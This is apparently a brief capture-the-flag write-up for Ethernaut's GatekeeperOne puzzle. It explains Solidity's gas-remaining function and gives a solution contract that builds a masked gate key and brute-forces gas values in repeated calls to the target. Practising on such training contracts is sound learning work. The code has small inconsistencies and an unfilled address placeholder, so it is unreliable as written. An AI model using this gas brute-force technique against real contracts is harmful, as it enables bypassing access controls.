Ethernaut Puzzle 13 GateKeeper One

This question is actually straightforward. It is similar to the previous one, but this time it requires brute force and understanding the value logic of unit32, uint64, uint160

In Solidity, gasLeft() is a global function that returns the amount of gas remaining for the current transaction.

When a transaction is executed on the Ethereum network, it consumes a certain amount of gas that must be paid for in Ether. Gas is used to compensate miners for validating and processing transactions.

The gasLeft() function allows a Solidity contract to determine how much gas is still available for execution in the current transaction. This can be useful for optimizing gas usage and avoiding out-of-gas errors.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.21;


interface GatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperOneSolution {
// GatekeeperOne public gatekeeperOne;
bytes8 _gateKey = bytes8(0x5658812956448D63691e0F185264F484E2d0CbB1) & 0xFFFFFFFF0000FFFF;
constructor() public {
// gatekeeperOne = GatekeeperOne(_targetAddr);
}
function takeALook1() public view returns (uint32) {
return uint32(uint64(_gateKey));
}
function takeALook2() public view returns (uint16) {
return uint16(uint64(_gateKey));
}

function takeALook3() public view returns (uint64) {
return (uint64(_gateKey));
}

function takeALook4() public view returns (uint64) {
return (uint64(tx.origin));
}
function takeALook5() public view returns (uint16) {
return (uint16(tx.origin));
}

function attack() public {
for (uint i=0;i<10000;i++) {
if(address({%YOUR_CONTRACT_ADDRESS%}).call.gas(i + 8191 * 3)(abi.encodeWithSignature("enter(bytes8)", _gateKey))) {
break;
}
}
}
}